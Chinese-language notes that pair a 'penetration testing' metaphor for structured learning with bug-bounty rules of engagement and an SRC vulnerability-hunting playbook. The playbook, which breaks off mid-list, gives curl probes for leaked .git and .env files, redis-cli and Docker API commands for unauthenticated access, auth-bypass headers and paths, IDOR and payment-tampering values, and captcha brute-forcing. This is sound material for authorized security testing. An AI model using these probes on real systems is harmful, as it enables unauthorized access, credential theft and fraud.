渗透测试思路

关联思考渗透引擎 v4.0

  核心隐喻

  知识/问题 = 目标系统
  关联点 = 攻击面
  深度关联 = 漏洞利用
  关联网络 = 攻击链
  有效思维 = 成功渗透

  白帽子原则:系统化枚举、深度利用、不遗漏、全覆盖

  ---
  第一阶段:侦察(Reconnaissance)

  1.1 目标画像

  对任何知识点/问题/概念,首先建立完整画像:

  【目标基本信息】
  ├── 名称/定义:它叫什么?官方定义是?
  ├── 类型/分类:它属于什么类别?
  ├── 版本/变体:它有哪些不同形式?
  └── 来源/出处:它从哪里来?谁提出的?

  【目标结构信息】
  ├── 组成要素:它由哪些部分构成?
  ├── 内部关系:各部分如何连接?
  ├── 层次结构:有没有上下级关系?
  └── 核心vs外围:哪些是核心?哪些可去掉?

  【目标行为信息】
  ├── 输入/输出:它接收什么?产出什么?
  ├── 触发条件:什么情况下它会激活?
  ├── 变化规律:它如何随条件变化?
  └── 生命周期:它如何产生、发展、消亡?

  【目标环境信息】
  ├── 依赖项:它依赖什么才能存在/运作?
  ├── 被依赖:什么东西依赖它?
  ├── 同级对象:与它平级的有哪些?
  └── 所属系统:它属于哪个更大的系统?

  1.2 攻击面枚举(关联维度全覆盖)

  12个攻击面(必须全部扫描):

  时间维度:
  ├── [T-1] 前置:它之前是什么?需要什么基础?
  ├── [T0] 当前:它现在是什么状态?
  ├── [T+1] 后续:它之后会变成什么?能推出什么?
  └── [T∞] 极限:时间趋向极端会怎样?

  空间维度:
  ├── [S-上] 上层:它属于什么更大的系统?
  ├── [S-下] 下层:它可以分解为什么?
  ├── [S-同] 同层:与它并列的有什么?
  └── [S-跨] 跨域:其他领域有什么对应物?

  关系维度:
  ├── [R-因] 因果:什么导致它?它导致什么?
  ├── [R-比] 对比:它与什么相似/不同?
  ├── [R-反] 对立:它的反面/对立面是什么?
  └── [R-变] 变换:它可以变换成什么形式?

  12面全扫 = 思维无死角

  ---
  第二阶段:扫描(Scanning)

  2.1 广度扫描矩阵

  对每个攻击面,执行系统化扫描:

                │ 直接关联 │ 间接关联 │ 隐藏关联 │ 潜在关联
  ──────────────┼──────────┼──────────┼──────────┼──────────
  [T-1] 前置    │          │          │          │
  [T0] 当前     │          │          │          │
  [T+1] 后续    │          │          │          │
  [T∞] 极限    │          │          │          │
  [S-上] 上层   │          │          │          │
  [S-下] 下层   │          │          │          │
  [S-同] 同层   │          │          │          │
  [S-跨] 跨域   │          │          │          │
  [R-因] 因果   │          │          │          │
  [R-比] 对比   │          │          │          │
  [R-反] 对立   │          │          │          │
  [R-变] 变换   │          │          │          │

  12攻击面 × 4关联层次 = 48个扫描点
  每点至少1个发现 = 最低48个关联

  2.2 深度扫描探针

  对每个发现的关联点,用以下探针深入:

  探针1:本质探针
  ├── 这个关联的本质是什么?
  ├── 去掉什么它就不再成立?
  ├── 它揭示了什么底层规律?
  └── 深度评分:L1/L2/L3/L4

  探针2:边界探针
  ├── 这个关联在什么条件下成立?
  ├── 什么情况下会失效?
  ├── 边界条件精确是什么?
  └── 有没有反例?

  探针3:利用探针
  ├── 这个关联能解释什么?
  ├── 能解决什么问题?
  ├── 能迁移到哪里?
  └── 能生成什么新问题?

  探针4:连接探针
  ├── 这个关联能连接到哪些其他关联?
  ├── 能形成什么关联链?
  ├── 在网络中处于什么位置?
  └── 是孤立点还是枢纽点?

  2.3 漏洞分级(关联价值评估)

  Critical(核心关联):
  ├── 改变了对整个主题的理解
  ├── 能统一多个分散知识点
  ├── 迁移价值极高
  └── 发现后必须重点利用

  High(重要关联):
  ├── 揭示了重要规律
  ├── 有明确的应用价值
  ├── 能连接多个其他关联
  └── 值得深入探索

  Medium(普通关联):
  ├── 有一定解释或应用价值
  ├── 可作为网络的连接点
  ├── 保留但不优先
  └── 作为思维的补充

  Low(边缘关联):
  ├── 价值有限
  ├── 连接稀疏
  ├── 记录但不深入
  └── 可能未来有用

  Info(信息性关联):
  ├── 纯粹的信息关联
  ├── 不产生新理解
  ├── 仅作记录
  └── 不计入有效思维量

  ---
  第三阶段:利用(Exploitation)

  3.1 单点深度利用

  对每个Critical/High级关联,执行深度利用:

  【关联点】:________________

  第1轮:解构
  ├── 这个关联由哪些要素构成?
  ├── 各要素之间的关系是什么?
  ├── 核心要素是哪个?
  └── 输出:关联的内部结构图

  第2轮:变形
  ├── 保持本质,变换形式 → 得到什么?
  ├── 改变一个要素 → 关联如何变化?
  ├── 极端化某个要素 → 会怎样?
  └── 输出:≥5个变形关联

  第3轮:连接
  ├── 这个关联能与哪些已知关联连接?
  ├── 连接后形成什么新结构?
  ├── 有没有意外的连接可能?
  └── 输出:≥3个新连接

  第4轮:应用
  ├── 用这个关联解释一个现象
  ├── 用这个关联解决一个问题
  ├── 用这个关联预测一个结果
  └── 输出:≥3个应用实例

  单点深度利用产出:≥15个有效思考点

  3.2 等量关联利用链(数理专用)

  【目标】:建立等量变换的完整利用链

  第1步:量的识别
  ├── 显式量:题目明确给出的
  ├── 隐式量:需要推导的
  ├── 常量:固定不变的
  ├── 中间量:计算过程中出现的
  └── 目标量:最终要求的

  第2步:关系式穷举
  ├── 定义关系:由定义直接得到
  ├── 定理关系:由定理/公式得到
  ├── 约束关系:由条件限制得到
  ├── 守恒关系:某种守恒定律
  └── 隐含关系:需要洞察发现

  第3步:变换路径图
                      ┌─→ 路径1(3步)
  已知量 ──→ 中间量 ──┼─→ 路径2(4步)
                      └─→ 路径3(2步)✓最优

  第4步:形式扩展
  对关键量Q,穷举等价形式:
  Q = 形式1 = 形式2 = 形式3 = 形式4 = 形式5 = ...
  目标:每个关键量≥10种等价形式

  第5步:路径优化
  ├── 当前最优路径是什么?
  ├── 有没有更短的路径?
  ├── 有没有更优雅的路径?
  └── 有没有意外的捷径?

  3.3 变式利用瀑布

  原问题 P₀
      │
      ├─→ [条件变式] 改变前提条件
      │   ├─→ P₁: 增强条件 → 结论如何?
      │   ├─→ P₂: 弱化条件 → 结论如何?
      │   ├─→ P₃: 替换条件 → 结论如何?
      │   └─→ P₄: 删除条件 → 结论如何?
      │
      ├─→ [结论变式] 改变目标要求
      │   ├─→ P₅: 加强结论 → 需要什么条件?
      │   ├─→ P₆: 弱化结论 → 条件可以放松吗?
      │   └─→ P₇: 改变结论形式 → 有什么新发现?
      │
      ├─→ [结构变式] 改变问题结构
      │   ├─→ P₈: 正向→逆向
      │   ├─→ P₉: 特殊→一般
      │   ├─→ P₁₀: 一般→特殊
      │   └─→ P₁₁: 静态→动态
      │
      └─→ [极端变式] 推向极端
          ├─→ P₁₂: 某量→0
          ├─→ P₁₃: 某量→∞
          ├─→ P₁₄: 某量→临界值
          └─→ P₁₅: 所有条件同时极端

  1个原问题 → 15+变式 → 每个变式2个洞见 = 30+思考点

  ---
  第四阶段:攻击链构建(Chain Building)

  4.1 关联链类型

  线性链(A→B→C→D):
  ├── 因果链:A导致B,B导致C...
  ├── 推导链:由A推出B,由B推出C...
  ├── 演化链:A发展为B,B发展为C...
  └── 价值:理解事物的发展脉络

  分支链(A→B,C,D):
  ├── 分类链:A分为B、C、D三类
  ├── 分解链:A由B、C、D组成
  ├── 影响链:A影响B、C、D
  └── 价值:理解事物的完整结构

  汇聚链(B,C,D→A):
  ├── 综合链:B、C、D共同构成A
  ├── 条件链:B、C、D是A的条件
  ├── 证据链:B、C、D共同证明A
  └── 价值:理解事物的形成机制

  循环链(A→B→C→A):
  ├── 反馈链:正反馈/负反馈循环
  ├── 迭代链:不断迭代优化
  ├── 平衡链:动态平衡系统
  └── 价值:理解系统的稳定性

  网状结构(多链交织):
  ├── 所有链的交织组合
  ├── 形成稠密的知识网络
  ├── 任意两点多路径可达
  └── 价值:真正的融会贯通

  4.2 攻击链构建流程

  步骤1:节点识别
  ├── 列出所有已发现的关联点
  ├── 按重要性排序(Critical > High > Medium)
  └── 标记潜在的枢纽节点

  步骤2:连接探索
  ├── 对每对节点(A,B),问:A和B有关系吗?
  ├── 如果有,关系类型是什么?
  ├── 连接强度如何?(强/中/弱)
  └── 记录所有发现的连接

  步骤3:链路形成
  ├── 识别线性链:哪些节点可以串联?
  ├── 识别分支点:哪些节点有多个分支?
  ├── 识别汇聚点:哪些节点由多个节点汇入?
  ├── 识别循环:有没有形成闭环?
  └── 绘制初步的链路图

  步骤4:网络优化
  ├── 检查孤立节点:有没有未连接的节点?
  ├── 强化关键路径:核心链路是否足够强?
  ├── 增加冗余路径:关键节点间有备用路径吗?
  └── 发现隐藏连接:有没有被忽略的连接?

  步骤5:网络验证
  ├── 任选两点,能否找到≥2条连接路径?
  ├── 删除任一节点,网络是否仍然连通?
  ├── 网络能否解释/预测新的现象?
  └── 网络是否自洽无矛盾?

  4.3 攻击链威力评估

  链路威力 = 长度 × 深度 × 覆盖度 × 实用度

  长度:链中节点数量
  ├── 短链(2-3节点):+1
  ├── 中链(4-6节点):+2
  └── 长链(7+节点):+3

  深度:链中关联的平均深度
  ├── 表层链(平均L1):×0.5
  ├── 结构链(平均L2):×1.0
  ├── 原理链(平均L3):×1.5
  └── 本质链(平均L4):×2.0

  覆盖度:链覆盖的攻击面数量
  ├── 单面链(1-2面):×0.5
  ├── 多面链(3-5面):×1.0
  └── 全面链(6+面):×1.5

  实用度:链的实际应用价值
  ├── 纯理论链:×0.5
  ├── 可应用链:×1.0
  └── 高价值链:×1.5

  目标:构建威力值≥10的攻击链

  ---
  第五阶段:覆盖率评估(Coverage Assessment)

  5.1 思维覆盖率检查表

  攻击面覆盖:
  □ [T-1] 前置关联 ≥3个
  □ [T0] 当前关联 ≥3个
  □ [T+1] 后续关联 ≥3个
  □ [T∞] 极限关联 ≥1个
  □ [S-上] 上层关联 ≥2个
  □ [S-下] 下层关联 ≥2个
  □ [S-同] 同层关联 ≥3个
  □ [S-跨] 跨域关联 ≥2个
  □ [R-因] 因果关联 ≥3个
  □ [R-比] 对比关联 ≥3个
  □ [R-反] 对立关联 ≥1个
  □ [R-变] 变换关联 ≥5个

  深度覆盖:
  □ L1关联:不限
  □ L2关联:≥10个
  □ L3关联:≥5个
  □ L4关联:≥1个

  链路覆盖:
  □ 线性链:≥2条
  □ 分支链:≥1条
  □ 汇聚链:≥1条
  □ 循环链:≥1条(如有)
  □ 跨域链:≥1条

  总覆盖率 = 已覆盖项 / 总检查项 × 100%
  目标:≥85%

  5.2 有效思维量统计

  【本次渗透统计】

  侦察阶段:
  ├── 要素提取:__个
  └── 攻击面识别:__/12

  扫描阶段:
  ├── 广度扫描发现:__个关联
  ├── 深度扫描发现:__个关联
  ├── Critical级:__个
  ├── High级:__个
  ├── Medium级:__个
  └── Low/Info级:__个

  利用阶段:
  ├── 单点深度利用产出:__个
  ├── 等量变换形式:__种
  ├── 变式产出:__个
  └── 应用实例:__个

  链路阶段:
  ├── 构建链路:__条
  ├── 网络节点:__个
  ├── 网络连接:__个
  └── 网络密度:__

  【有效思维总量】
  = Critical×5 + High×3 + Medium×1 + 链路数×2 + 深度利用产出
  = ___

  目标基准:
  ├── 单个简单概念:≥30
  ├── 单个复杂概念:≥60
  ├── 单个问题/题目:≥50
  └── 综合性主题:≥100

  5.3 渗透报告模板

  ═══════════════════════════════════════════════════
             关联思考渗透报告
  ═══════════════════════════════════════════════════

  【目标】:________________________________

  【渗透日期】:____________

  ───────────────────────────────────────────────────
  一、目标画像
  ───────────────────────────────────────────────────
  定义:
  构成:
  环境:
  关键特征:

  ───────────────────────────────────────────────────
  二、发现的关联(按重要性排序)
  ───────────────────────────────────────────────────

  [Critical]
  1. ____________(深度:L_,攻击面:___)
     - 本质:
     - 应用:
     - 连接:

  2. ____________

  [High]
  1. ____________
  2. ____________
  ...

  ───────────────────────────────────────────────────
  三、构建的攻击链
  ───────────────────────────────────────────────────

  链1:____________→____________→____________
       威力值:__,应用场景:

  链2:...

  ───────────────────────────────────────────────────
  四、等量关系网络(如适用)
  ───────────────────────────────────────────────────

  关键量的等价形式:
  Q₁ = ___ = ___ = ___ = ___ = ___
  Q₂ = ___ = ___ = ___ = ___ = ___

  最优求解路径:

  ───────────────────────────────────────────────────
  五、变式清单
  ───────────────────────────────────────────────────

  原式 → 变式1:条件_变化_,结论变为_
       → 变式2:
       → 变式3:
       ...

  ───────────────────────────────────────────────────
  六、覆盖率与统计
  ───────────────────────────────────────────────────

  攻击面覆盖:__/12
  深度覆盖:L2+关联__个
  有效思维总量:__
  覆盖率:__%

  ───────────────────────────────────────────────────
  七、待探索区域
  ───────────────────────────────────────────────────

  1. ____________(优先级:High/Medium/Low)
  2. ____________
  3. ____________

  ═══════════════════════════════════════════════════

  ---
  第六章:渗透效率优化

  6.1 快速渗透模式(5分钟版)

  当时间有限时,执行精简流程:

  分钟1:快速画像
  └── 一句话定义 + 3个核心要素

  分钟2:四面扫描
  ├── 前置:它需要什么?
  ├── 后续:它能推出什么?
  ├── 对比:它像什么/不像什么?
  └── 应用:它能用在哪里?

  分钟3-4:深度利用(仅Critical)
  └── 对最重要的1-2个关联深入探索

  分钟5:快速链接
  └── 与已有知识网络建立≥3个连接

  产出:≥15个有效思考点

  6.2 深度渗透模式(30分钟版)

  当需要彻底理解时,执行完整流程:

  分钟1-5:完整画像
  └── 填充完整的目标画像表

  分钟6-12:全面扫描
  └── 12攻击面×4层次矩阵全覆盖

  分钟13-20:深度利用
  ├── 所有Critical关联深度利用
  ├── 等量关系网络构建(如适用)
  └── 变式瀑布展开

  分钟21-27:攻击链构建
  ├── 识别所有链路
  ├── 绘制网络图
  └── 验证网络连通性

  分钟28-30:覆盖率评估
  ├── 检查覆盖率
  ├── 识别漏洞区域
  └── 完成渗透报告

  产出:≥60个有效思考点 + 完整知识网络

  6.3 持续渗透模式(跨天累积)

  Day 1:初始渗透
  ├── 快速渗透模式
  ├── 标记待探索区域
  └── 产出:≥15点

  Day 2:扩展渗透
  ├── 针对待探索区域深入
  ├── 与Day 1发现交叉连接
  ├── 发现新的待探索区域
  └── 累积产出:≥35点

  Day 3:深化渗透
  ├── 构建攻击链
  ├── 验证网络完整性
  ├── 填补覆盖空白
  └── 累积产出:≥60点

  Day 4+:维护与扩展
  ├── 与新学知识建立连接
  ├── 定期重访加强记忆
  ├── 发现新的关联可能
  └── 网络持续增长

  长期效果:知识网络指数级增长

  ---
  快速启动命令

  【一键启动】

  对任何新知识/问题,立即执行:

  $ 侦察
    - 它是什么?(定义)
    - 它有什么?(要素)
    - 它在哪里?(位置)

  $ 扫描
    - 它从哪来?(前置)
    - 它到哪去?(后续)
    - 它像什么?(对比)
    - 它用在哪?(应用)

  $ 利用
    - 最重要的关联是什么?
    - 这个关联的本质是什么?
    - 这个关联能用来做什么?

  $ 链接
    - 它与我已知的什么相连?
    - 它在我的知识网络中处于什么位置?

  $ 评估
    - 我产生了多少有效思考?
    - 还有什么没覆盖到?

  5分钟 → ≥15个有效思考点
  日积月累 → 思维能力指数级提升

 


前置避险

挖漏洞,最需要的是避险,具体是以下的点:

1. 禁止删除正常的业务数据

2. SQL 注入拿到库名点到为止

3. 遇到不认识的接口(delete、drop)等,不要随便遍历

4. DoS 类漏洞证明可以延时即可

5. Getshell 类漏洞上传无害化脚本木马证明即可(不要深入利用、提权那些,输出一个 hell,world 即可)

6. 越权类漏洞用自己的测试账号进行测试,能读取的真实数据不超过 5 组,严禁批量读取

7. 禁止给上传的漏洞附件塞木马

8. 禁止对企业及/或被测试企业计算机信息网络功能进行删除、修改或者增加等行为

9. 禁止拖库、随意大量增删改他人信息,禁止可对服务稳定性造成影响的扫描和Dos行为

10. 禁止对生产环境进行文件覆盖,删除等敏感操作。

11. 禁止使用高并发、测试自动化扫描等影响到系统稳定性的扫描器和辅助测试脚本。

12. 禁止修改或者删除真实用户数据。

13. 禁止大规模遍历用户信息,禁止保存和传播测试获取到的数据。

14. 对于可以获取应用或者服务器权限的漏洞,禁止上传病毒、木马等恶意代码,保留后门,禁止下载和读取服务器上任何源代码文件和敏感文件或者敏感信息,禁止进行提权以及内网横向

15. 禁止测试批量操作(例:留言、生成工单等)影响厂商业务的行为。

16. 仅测试规定测试范围内的系统,禁止测试测试范围外的系统。测试范围外漏洞不收取

17. 若测试导致系统运行异常等问题,请第一时间联系补天平台并协助厂商恢复系统运行

 


SRC漏洞挖掘关联引擎 v1.0

SRC漏洞挖掘关联引擎 v1.0

  漏洞优先级矩阵(按投入产出比排序)

  ┌─────────────────┬────────────┬────────────┬────────────┐
  │ 漏洞类型        │ 发现难度   │ 收录概率   │ 推荐指数   │
  ├─────────────────┼────────────┼────────────┼────────────┤
  │ 信息泄露        │ ★☆☆☆☆     │ ★★★★☆     │ ⭐⭐⭐⭐⭐   │
  │ 未授权访问      │ ★★☆☆☆     │ ★★★★☆     │ ⭐⭐⭐⭐⭐   │
  │ 越权漏洞        │ ★★★☆☆     │ ★★★★★     │ ⭐⭐⭐⭐⭐   │
  │ 弱口令          │ ★☆☆☆☆     │ ★★★☆☆     │ ⭐⭐⭐⭐     │
  │ SQL注入         │ ★★★☆☆     │ ★★★★★     │ ⭐⭐⭐⭐     │
  │ XSS             │ ★★☆☆☆     │ ★★★☆☆     │ ⭐⭐⭐       │
  │ 逻辑漏洞        │ ★★★★☆     │ ★★★★★     │ ⭐⭐⭐⭐     │
  │ 文件上传        │ ★★★☆☆     │ ★★★★★     │ ⭐⭐⭐⭐     │
  │ SSRF            │ ★★★☆☆     │ ★★★★☆     │ ⭐⭐⭐⭐     │
  └─────────────────┴────────────┴────────────┴────────────┘

  新手路线:信息泄露 → 未授权 → 弱口令 → 越权 → SQL注入
  进阶路线:逻辑漏洞 → 文件上传 → SSRF → 组合利用

  ---
  第一类:信息泄露(入门首选)

  1.1 攻击面全景图

  信息泄露
  ├── 源码泄露
  │   ├── .git/.svn/.hg 泄露
  │   ├── .DS_Store 泄露
  │   ├── WEB-INF/web.xml 泄露
  │   ├── 备份文件 (.bak, .swp, .old, ~)
  │   └── 编辑器临时文件
  │
  ├── 配置泄露
  │   ├── 数据库配置文件
  │   ├── 应用配置文件
  │   ├── 环境变量泄露
  │   └── phpinfo/探针页面
  │
  ├── 接口泄露
  │   ├── Swagger/API文档未授权
  │   ├── GraphQL内省开启
  │   ├── actuator端点暴露
  │   └── debug接口开放
  │
  ├── 错误信息泄露
  │   ├── 详细报错(路径、版本)
  │   ├── 堆栈跟踪
  │   └── SQL错误信息
  │
  ├── 目录泄露
  │   ├── 目录遍历开启
  │   ├── 备份目录
  │   └── 上传目录
  │
  └── 敏感文件泄露
      ├── 日志文件
      ├── 数据库备份
      ├── 用户数据导出
      └── 内部文档

  1.2 关联扫描矩阵

  【横向关联】同类变体穷举

  .git泄露 → 关联扫描:
  ├── /.git/config
  ├── /.git/HEAD
  ├── /.git/index
  ├── /.git/logs/HEAD
  ├── /.svn/entries
  ├── /.svn/wc.db
  ├── /.hg/store/data
  ├── /.bzr/branch/branch.conf
  └── /CVS/Root

  备份文件 → 关联扫描:
  ├── 原文件名 + (.bak|.old|.swp|.swo|~|.tmp|.temp|.backup|.copy)
  ├── 原文件名 + 日期 (config_20231201.php)
  ├── 原文件名 + 序号 (config1.php, config2.php)
  ├── 原文件名.原扩展名.新扩展名 (config.php.bak)
  ├── 原文件名_backup.原扩展名
  ├── .原文件名.swp (vim)
  ├── 原文件名~ (emacs)
  └── #原文件名# (emacs autosave)

  配置文件 → 关联扫描:
  ├── /config.php|.inc|.ini|.conf|.yaml|.yml|.json|.xml|.env
  ├── /database.php|db.php|conn.php|connection.php
  ├── /settings.php|setting.php|config/database.php
  ├── /.env|.env.local|.env.production|.env.backup
  ├── /application.properties|application.yml
  ├── /web.config|Web.config
  └── /appsettings.json|appsettings.Development.json

  1.3 路径关联爆破

  【纵向关联】路径深度扩展

  发现 /admin/ 目录 → 关联扩展:
  ├── /admin/config/
  ├── /admin/backup/
  ├── /admin/log/
  ├── /admin/data/
  ├── /admin/upload/
  ├── /admin/export/
  ├── /admin/sql/
  ├── /admin/db/
  └── /admin/test/

  发现 config.php → 关联扩展:
  ├── 同目录其他配置:database.php, settings.php
  ├── 备份变体:config.php.bak, config.php.old
  ├── 其他环境:config.dev.php, config.prod.php
  ├── 父目录:../config.php, ../../config.php
  └── include目录:/include/config.php, /inc/config.php

  【技术栈关联】识别技术栈后关联扫描

  发现 ThinkPHP → 关联:
  ├── /application/database.php
  ├── /app/database.php
  ├── /.env
  ├── /runtime/log/
  └── ThinkPHP历史漏洞

  发现 Spring Boot → 关联:
  ├── /actuator
  ├── /actuator/env
  ├── /actuator/heapdump
  ├── /actuator/mappings
  ├── /swagger-ui.html
  ├── /v2/api-docs
  └── /druid/

  发现 Laravel → 关联:
  ├── /.env
  ├── /storage/logs/laravel.log
  ├── /vendor/
  ├── /.git/
  └── /telescope

  1.4 信息泄露速查Payload

  # 一键扫描脚本思路
  目标域名=$1

  # Git泄露
  curl -s "$目标域名/.git/config" | grep -q "repositoryformatversion" && echo "[+] Git泄露"

  # SVN泄露  
  curl -s "$目标域名/.svn/entries" | head -1 | grep -qE "^[0-9]+" && echo "[+] SVN泄露"

  # 环境文件
  curl -s "$目标域名/.env" | grep -qiE "(DB_|APP_|SECRET)" && echo "[+] ENV泄露"

  # actuator
  curl -s "$目标域名/actuator" | grep -q "actuator" && echo "[+] Actuator暴露"

  # Swagger
  curl -s "$目标域名/swagger-ui.html" | grep -q "swagger" && echo "[+] Swagger暴露"

  # phpinfo
  curl -s "$目标域名/phpinfo.php" | grep -q "PHP Version" && echo "[+] phpinfo泄露"

  ---
  第二类:未授权访问(高频出洞)

  2.1 攻击面全景图

  未授权访问
  ├── 管理后台未授权
  │   ├── /admin/  /manager/  /system/
  │   ├── /console/  /dashboard/
  │   └── 直接访问功能页面绕过登录
  │
  ├── API接口未授权
  │   ├── 用户信息接口
  │   ├── 订单/交易接口
  │   ├── 管理功能接口
  │   └── 内部服务接口
  │
  ├── 中间件未授权
  │   ├── Redis未授权 (6379)
  │   ├── MongoDB未授权 (27017)
  │   ├── Elasticsearch未授权 (9200)
  │   ├── Memcached未授权 (11211)
  │   ├── Zookeeper未授权 (2181)
  │   ├── Docker API未授权 (2375)
  │   └── Kubernetes API未授权 (6443,8080)
  │
  ├── 管理界面未授权
  │   ├── Druid监控
  │   ├── Spring Boot Admin
  │   ├── Kibana
  │   ├── Jenkins
  │   ├── phpMyAdmin
  │   └── Nacos/Apollo配置中心
  │
  └── 功能模块未授权
      ├── 文件上传功能
      ├── 文件下载功能
      ├── 用户管理功能
      └── 数据导出功能

  2.2 关联发现矩阵

  【后台路径关联穷举】

  发现登录页 /login → 关联尝试直接访问:
  ├── /admin/index
  ├── /admin/main
  ├── /admin/home
  ├── /admin/dashboard
  ├── /admin/user/list
  ├── /system/user
  ├── /manage/
  ├── /console/
  └── /member/

  【鉴权绕过关联】

  正常请求被拦截 → 关联尝试绕过:
  ├── 修改请求方法:GET→POST→PUT→OPTIONS
  ├── 添加头部:X-Forwarded-For: 127.0.0.1
  ├── 添加头部:X-Real-IP: 127.0.0.1
  ├── 添加头部:X-Originating-IP: 127.0.0.1
  ├── 路径变形:/admin/../admin/
  ├── 路径变形:/admin;/index
  ├── 路径变形:/admin%2findex
  ├── 路径变形:/ADMIN/ (大小写)
  ├── 添加扩展:/admin/index.json
  └── 添加参数:/admin/index?debug=1

  【接口未授权关联】

  发现 /api/user/info?id=1 → 关联测试:
  ├── 删除Cookie/Token测试未授权
  ├── 使用空Token
  ├── 使用过期Token
  ├── 使用其他用户Token(越权)
  ├── 关联接口:/api/user/list
  ├── 关联接口:/api/user/delete
  ├── 关联接口:/api/user/export
  └── 关联接口:/api/admin/user

  2.3 中间件未授权速查

  【端口→服务→未授权检测】

  端口6379 (Redis):
  ├── redis-cli -h 目标 info
  ├── redis-cli -h 目标 keys *
  └── 危害:读取数据/写入webshell/反弹shell

  端口27017 (MongoDB):
  ├── mongo --host 目标
  ├── show dbs; show collections;
  └── 危害:数据泄露/数据篡改

  端口9200 (Elasticsearch):
  ├── curl http://目标:9200/_cat/indices
  ├── curl http://目标:9200/_search
  └── 危害:敏感数据泄露

  端口2375 (Docker):
  ├── curl http://目标:2375/version
  ├── curl http://目标:2375/containers/json
  └── 危害:容器逃逸/主机控制

  端口8080 (Jenkins):
  ├── 访问 /script 执行Groovy
  ├── 访问 /manage
  └── 危害:命令执行/凭证泄露

  ---
  第三类:越权漏洞(高价值常收)

  3.1 攻击面全景图

  越权漏洞
  ├── 水平越权(同级用户间)
  │   ├── 通过修改用户ID访问他人数据
  │   ├── 通过修改订单ID查看他人订单
  │   ├── 通过修改手机号操作他人账户
  │   └── 通过修改资源ID获取他人资源
  │
  ├── 垂直越权(低权限→高权限)
  │   ├── 普通用户访问管理功能
  │   ├── 普通用户调用管理接口
  │   ├── 修改角色/权限参数提权
  │   └── 访问未授权的功能模块
  │
  └── 上下文越权(跨状态/流程)
      ├── 跳过支付步骤完成订单
      ├── 跳过验证步骤重置密码
      ├── 修改订单状态
      └── 跨租户访问数据

  3.2 越权参数关联矩阵

  【ID类参数关联】发现任何ID参数都要测试

  用户相关:
  ├── uid, userid, user_id, userId
  ├── account, accountid, account_id
  ├── member, memberid, memberId
  └── openid, unionid

  订单相关:
  ├── orderid, order_id, orderId, orderNo
  ├── ordernum, order_num, order_number
  └── transactionId, tradeNo

  资源相关:
  ├── id, ID, Id
  ├── fileid, file_id, fileId
  ├── docid, documentId
  ├── articleId, postId
  └── recordId, dataId

  【ID变形关联】

  发现 id=1001 → 关联测试:
  ├── id=1000 (减1)
  ├── id=1002 (加1)
  ├── id=1 (最小值)
  ├── id=0 (边界值)
  ├── id=-1 (负数)
  ├── id=999999 (大数)
  ├── id=1001' (注入测试)
  ├── id=1001,1002 (批量)
  └── id[]=1001&id[]=1002 (数组)

  【编码关联】

  原始:id=1001
  ├── Base64: id=MTAwMQ==
  ├── MD5: id=a0eebc99...
  ├── Hex: id=0x3E9
  ├── URL编码: id=%31%30%30%31
  └── Unicode: id=\u0031\u0030\u0030\u0031

  测试时需解码原参数,修改后重新编码

  3.3 越权测试流程

  【双账号对照法】

  准备:
  ├── 账号A(攻击者):记录所有请求
  ├── 账号B(受害者):获取目标ID
  └── 工具:Burp Suite + Autorize插件

  步骤:
  1. 账号A正常操作,抓取请求
  2. 替换请求中的ID为账号B的ID
  3. 观察是否返回账号B的数据

  【API遍历法】

  发现 /api/v1/user/info:
  ├── 提取接口模式:/api/v1/{资源}/{操作}
  ├── 关联资源:user, order, file, config, admin
  ├── 关联操作:info, list, add, update, delete, export
  └── 组合生成接口列表并遍历测试

  生成列表:
  /api/v1/user/list
  /api/v1/user/delete
  /api/v1/order/info
  /api/v1/order/list
  /api/v1/admin/list
  /api/v1/file/download
  ...

  【权限参数篡改】

  发现请求中有权限相关参数:
  ├── role=user → role=admin
  ├── type=0 → type=1
  ├── isAdmin=false → isAdmin=true
  ├── level=1 → level=99
  ├── group=normal → group=administrator
  └── permission=read → permission=write

  ---
  第四类:逻辑漏洞(高价值)

  4.1 攻击面全景图

  逻辑漏洞
  ├── 支付逻辑
  │   ├── 金额篡改(改小/改负/改0)
  │   ├── 数量篡改
  │   ├── 优惠券/积分重复使用
  │   ├── 并发支付(条件竞争)
  │   └── 支付状态绕过
  │
  ├── 验证码逻辑
  │   ├── 验证码重复使用
  │   ├── 验证码绕过(删除参数)
  │   ├── 验证码爆破(4-6位)
  │   ├── 验证码回显
  │   └── 万能验证码
  │
  ├── 密码重置逻辑
  │   ├── 任意用户密码重置
  │   ├── 重置链接可预测
  │   ├── 验证码发送到攻击者
  │   ├── 跳过验证步骤
  │   └── 凭证泄露
  │
  ├── 注册逻辑
  │   ├── 任意用户注册覆盖
  │   ├── 邮箱/手机验证绕过
  │   ├── 邀请码绕过
  │   └── 批量注册
  │
  └── 业务流程
      ├── 步骤跳过
      ├── 流程逆序
      ├── 参数污染
      └── 条件竞争

  4.2 支付逻辑关联测试

  【价格参数关联】

  发现 price=100 → 关联测试:
  ├── price=1 (最小正数)
  ├── price=0.01 (最小单位)
  ├── price=0 (零)
  ├── price=-100 (负数)
  ├── price=0.001 (精度溢出)
  ├── price=99999999999 (大数溢出)
  ├── price=100%00 (截断)
  └── 删除price参数

  【数量参数关联】

  发现 num=1 → 关联测试:
  ├── num=0
  ├── num=-1
  ├── num=99999999
  ├── num=1.5 (小数)
  ├── num=1e10 (科学计数)
  └── 删除num参数

  【并发竞争测试】

  场景:优惠券只能用一次
  ├── 准备:一个有效优惠券
  ├── 工具:Burp Intruder / Turbo Intruder
  ├── 方法:同时发送100个相同请求
  ├── 观察:优惠券是否被使用多次
  └── 关联场景:积分兑换、库存扣减、签到奖励

  【支付流程关联】

  正常流程:选商品→确认订单→支付→完成
  测试点:
  ├── 步骤2修改订单金额
  ├── 步骤2替换商品ID为高价值商品
  ├── 跳过步骤3直接访问步骤4
  ├── 步骤3篡改支付成功回调
  └── 步骤3替换订单号为他人已支付订单

  4.3 验证码逻辑关联测试

  【验证码绕过关联】

  正常请求包含 code=123456 → 关联测试:
  ├── 删除code参数
  ├── code=(空值)
  ├── code=null
  ├── code=undefined
  ├── code=000000
  ├── code=111111
  ├── code=123456(固定值多次使用)
  └── 修改响应包绕过前端验证

  【验证码爆破关联】

  4位验证码 → 10000种可能
  ├── 工具:Burp Intruder
  ├── 字典:0000-9999
  ├── 关注:是否有频率限制
  ├── 关注:是否有错误次数限制
  ├── 绕过:更换IP / 更换手机号参数

  6位验证码 → 100万种可能
  ├── 通常不可爆破
  ├── 关注:验证码有效期是否过长
  ├── 关注:是否有规律(时间戳相关)
  └── 关注:响应中是否泄露验证码

  【密码重置关联】

  重置流程:输入账号→发送验证码→输入验证码→设置新密码

  测试点:
  ├── 步骤1:任意手机号/邮箱接收验证码
  ├── 步骤2:验证码发送到响应包
  ├── 步骤3:验证码可爆破/可重用
